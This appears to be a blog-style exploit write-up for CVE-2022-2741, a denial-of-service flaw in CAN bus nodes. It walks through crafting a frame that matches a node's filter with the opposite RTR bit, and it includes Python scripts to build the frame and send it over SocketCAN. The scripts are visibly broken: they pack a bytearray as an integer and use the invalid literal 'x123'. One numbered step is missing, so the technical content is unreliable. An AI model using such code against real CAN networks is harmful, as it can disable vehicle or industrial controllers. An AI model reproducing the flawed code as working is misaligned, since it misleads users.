Recently, a new vulnerability has been discovered that affects CAN (Controller Area Network) nodes. This vulnerability, identified as CVE-2022-2741, enables an attacker to cause a denial-of-service (DoS) condition by transmitting a carefully crafted CAN frame on the same network as the vulnerable node. In this long-read post, we will delve into the details of this exploit, including the crafting of the payload, code snippets, links to original references, and more.

Transmit a CAN frame with a CAN ID that matches an installed filter in the vulnerable node.

2. Ensure that the CAN frame contains the opposite RTR (Remote Transmission Request) bit as the filter installed in the vulnerable node.

These requirements can easily be achieved through traffic analysis on the targeted CAN network and subsequently crafting a suitable CAN frame.

How to Craft a CAN Frame for the Exploit

To better understand how this exploit works, let's walk through the process of crafting a CAN frame that can trigger this denial-of-service condition.

First, we need to identify a suitable CAN ID that matches an installed filter in the vulnerable node. This can be done by analyzing the CAN traffic and identifying recurring CAN IDs.

In Python, we can create a simple script to generate the crafted CAN frame

import struct

def create_can_frame(can_id, rtr_bit):
    can_frame_data = bytearray(8)
    can_frame_format = "<LL" # Little-endian, unsigned long

    can_id_with_rtr_bit_flag = can_id

    if rtr_bit:
        can_id_with_rtr_bit_flag |= 1 << 29

    packed_data = struct.pack(can_frame_format, can_id_with_rtr_bit_flag, can_frame_data)

    return packed_data

# Example usage:
crafted_frame = create_can_frame(x123, False) # If the vulnerable filter expects RTR bit set, we send a frame with the RTR bit unset.

Once we have our crafted CAN frame, we need to transmit it to the targeted CAN network. Various tools can be used for transmitting CAN frames, such as SocketCAN for Linux-based systems. A Python example with SocketCAN is shown below:

import socket
import struct

def send_can_frame(interface, can_frame_data):
    sock = socket.socket(socket.AF_CAN, socket.SOCK_RAW, socket.CAN_RAW)
    sock.bind((interface,))

    sock.send(can_frame_data)

# Example usage:
send_can_frame("can", crafted_frame)

By transmitting this crafted CAN frame with the correct CAN ID and opposite RTR bit, we can effectively trigger the denial-of-service condition in the targeted node.

For more information on this vulnerability, please refer to the following original references

1. NVD - CVE-2022-2741
2. Vulnerability Details

Conclusion

CVE-2022-2741 is a critical vulnerability that affects CAN nodes. It allows an attacker to trigger a denial-of-service condition simply by transmitting a carefully crafted CAN frame on the same network as the targeted node. It is essential for developers and network administrators to be aware of this vulnerability and take appropriate countermeasures, such as updating affected software or hardware to mitigate this security risk.

Timeline

Published on: 10/31/2022 18:15:00 UTC
Last modified on: 11/01/2022 16:14:00 UTC